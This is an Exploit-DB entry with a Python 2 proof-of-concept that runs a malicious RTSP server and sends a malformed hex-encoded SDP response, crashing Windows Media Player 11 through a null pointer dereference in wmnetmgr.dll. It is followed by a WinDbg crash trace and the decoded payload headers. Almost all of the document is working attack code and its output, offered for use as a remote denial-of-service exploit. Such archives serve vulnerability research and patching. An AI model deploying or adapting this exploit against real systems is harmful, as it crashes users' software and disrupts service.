Exploit-DB #18271
Description: Microsoft Windows Media Player 11.0.5721.5262 - Remote Denial of Service
Type: dos
Platform: windows
Date: 2011-12-24
Author: Level

Exploit:
import socket, binascii
print "\n"  
print "----------------------------------------------------------------" 
print "|      WMP11 Remote Null Pointer                                |" 
print "|      Level, Smash the Stack                                   |" 
print "|      Windows XP SP3 x86, Windows Media Player v11.0.5721.5262 |" 
print "|      Windows 7 SP2 x64, Windows Media Player v11.0.5721.5262  |" 
print "----------------------------------------------------------------" 
print "\n" 
print "Attack URL: mms://127.0.0.1/Sample_Broadcast\n\n"
HOST = "127.0.0.1"
PORT = 554
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind((HOST, PORT))
s.listen(1)
buf = [
("525453502f312e[PII_REDACTED]204f4b0d0a436f6e74656e742d547970653a206170706c696361746"
"96f6e2f7364700d0a566172793a[PII_REDACTED]70740d0a582d506c61796c6973742d47656e2d49643"
"a203137360d0a582d42726f[PII_REDACTED]742d49643a20300d0a436f6e74656e742d4c656e6774683"
"a203837390d0a446174653a2053756e2c203038204d[PII_REDACTED][PII_REDACTED]3a32343a333320474"
"d540d0a435365713a20310d0a[PII_REDACTED]723a20574d[PII_REDACTED]722f392e312e312e333834310"
"d0a537570706f727465643a20636f6d2e6d6963726f736f66742e776d2e[PII_REDACTED]6169722c206"
"36f6d2e6d6963726f736f66742e776d2e[PII_REDACTED]63682c20636f6d2e6d6963726f736f66742e7"
"76d2e656f736d73672c20636f6d2e6d6963726f736f66742e776d2e[PII_REDACTED]616368652c20636"
"f6d2e6d6963726f736f66742e776d2e7061636b[PII_REDACTED][PII_REDACTED]2c20636f6d2e6d6963726"
"f736f66742e776d2e[PII_REDACTED]757070726f66696c650d0a4c6173742d4d6f[PII_REDACTED]643a205"
"361742c[PII_REDACTED][PII_REDACTED][PII_REDACTED]3a31343a303420474d540d0a457461673a202231363"
"8220d0a[PII_REDACTED]2d436f6e74726f6c3a206d61782d6167653d[PII_REDACTED]2c20782d776d732d7"
"[PII_REDACTED]d2d747970653d2262726f[PII_REDACTED]742c20706c61796c697374222c206d7573742d7"
"26576616c[PII_REDACTED]2c[PII_REDACTED]6174652c20782d776d732d70726f78792d73706c69740d0a0"
"d0a763d306f3d2d[PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED]33393"
"[PII_REDACTED]20494e[PII_REDACTED]3132372e302e302e310d0a733d3c4e6f205469746c653e633d494"
"e[PII_REDACTED]302e302e302e30623d52523a30613d70676d70753a646174613a6170706c696361746"
"96f6e2f766e642e6d732e776d732d6864722e[PII_REDACTED]3b[PII_REDACTED]342c4d[PII_REDACTED]356d7"
"a78476d[PII_REDACTED]474c4f624e[PII_REDACTED][PII_REDACTED][PII_REDACTED]4145436f6479726a4565707"
"a78474f[PII_REDACTED]4342545a[PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED]41414"
"[PII_REDACTED]c[PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED]414843677"
"7676b[PII_REDACTED]764d6e[PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED]416741414"
"[PII_REDACTED][PII_REDACTED][PII_REDACTED]64c716e504559376a414d414d49464e6c4c[PII_REDACTED]41414"
"[PII_REDACTED]4f7275716e504559376d414d414d49464e6c[PII_REDACTED]4141416b[PII_REDACTED]65707"
"a78474f[PII_REDACTED]4342545a566f[PII_REDACTED][PII_REDACTED]4f4562746b35627a78476f2f5143415"
"83178454b7742582b[PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED]414"
"[PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED]416b[PII_REDACTED]65707"
"a78474f[PII_REDACTED]4342545a[PII_REDACTED][PII_REDACTED]41514a35702b4531627a78476f2f5143415"
"83178454b31444e77372b[PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED]414277414"
"[PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED]41416f414"
"[PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED]5141417a6e[PII_REDACTED]473052474e676742676"
"c386d[PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED]41417a4a724a316"
"a6d[PII_REDACTED]5a414b6f[PII_REDACTED]4b[PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED]4141414"
"[PII_REDACTED][PII_REDACTED]324a724a316a6d[PII_REDACTED]5a414b6f[PII_REDACTED][PII_REDACTED]4141414"
"[PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED]41513d3d7"
"43d3020300d0a6d3d617564696f[PII_REDACTED]502f[PII_REDACTED]36613d72656c6961626c650d0a0d0"
"a0d0a")
]
while True:
conn, addr = s.accept()
print "-----Request From Client-----\n"
print conn.recv(1024)
print "-----Request From Client-----\n"
print "-----Response From Server-----\n"
print binascii.unhexlify(buf[0])
print "-----Response From Server-----\n"
conn.send(binascii.unhexlify(buf[0]))
conn.close()
s.close()

#CRASH
#(ae8.5b8): Access violation - code c0000005 (first chance)
#First chance exceptions are reported before any exception handling.
#This exception may be expected and handled.
#eax=00000000 ebx=02ba4df8 ecx=00000000 edx=02b5c688 esi=013acff8 edi=00000000
#eip=128cd479 esp=02ebfb64 ebp=02ebfeec iopl=0         nv up ei pl zr na pe nc
#cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010246
#*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\WINDOWS\system32\wmnetmgr.dll - 
#wmnetmgr!DllUnregisterServer+0x76320:
#128cd479 8bb914010000    mov     edi,dword ptr [ecx+114h] ds:0023:00000114=????????
#0:021> g
#(ae8.5b8): Access violation - code c0000005 (!!! second chance !!!)
#eax=00000000 ebx=02ba4df8 ecx=00000000 edx=02b5c688 esi=013acff8 edi=00000000
#eip=128cd479 esp=02ebfb64 ebp=02ebfeec iopl=0         nv up ei pl zr na pe nc
#cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
#wmnetmgr!DllUnregisterServer+0x76320:
#128cd479 8bb914010000    mov     edi,dword ptr [ecx+114h] ds:0023:00000114=????????

#PAYLOAD#
#RTSP/1.0 208 OK 
#Content-Type: application/sdp
#Vary: Accept
#X-Playlist-Gen-Id: 176
#X-Broadcast-Id: 0
#Content-Length: 879
#Date: Sun, 08 May 2011 15:24:33 GMT
#CSeq: 1
#Server: WMServer/9.1.1.3841
#Supported: com.microsoft.wm.srvppair, com.microsoft.wm.sswitch, com.microsoft.wm.eosmsg, com.microsoft.wm.fastcache, com.microsoft.wm.packetpairssrc, com.microsoft.wm.startupprofile
#Last-Modified: Sat, 17 Feb 2007 13:14:04 GMT
#Etag: "168"
#Cache-Control: max-age=86399, x-wms-stream-type="broadcast, playlist", must-revalidate, private, x-wms-proxy-split
#v=0o=-[PII_REDACTED]39[PII_REDACTED][PII_REDACTED]0406 IN IP4 127.0.0.1
#s=<No Title>c=IN IP4 0.0.0.0b=RR:0a=pgmpu:data:application/vnd.ms.wms-hdr.asfv1;base64,MCaydY5mzxGm2QCqAGLObNABAAAAAAAABgAAAAECodyrjEepzxGO5ADADC
#BTZWgAAAAAAAAAAAAAAAAAAAAAAAAA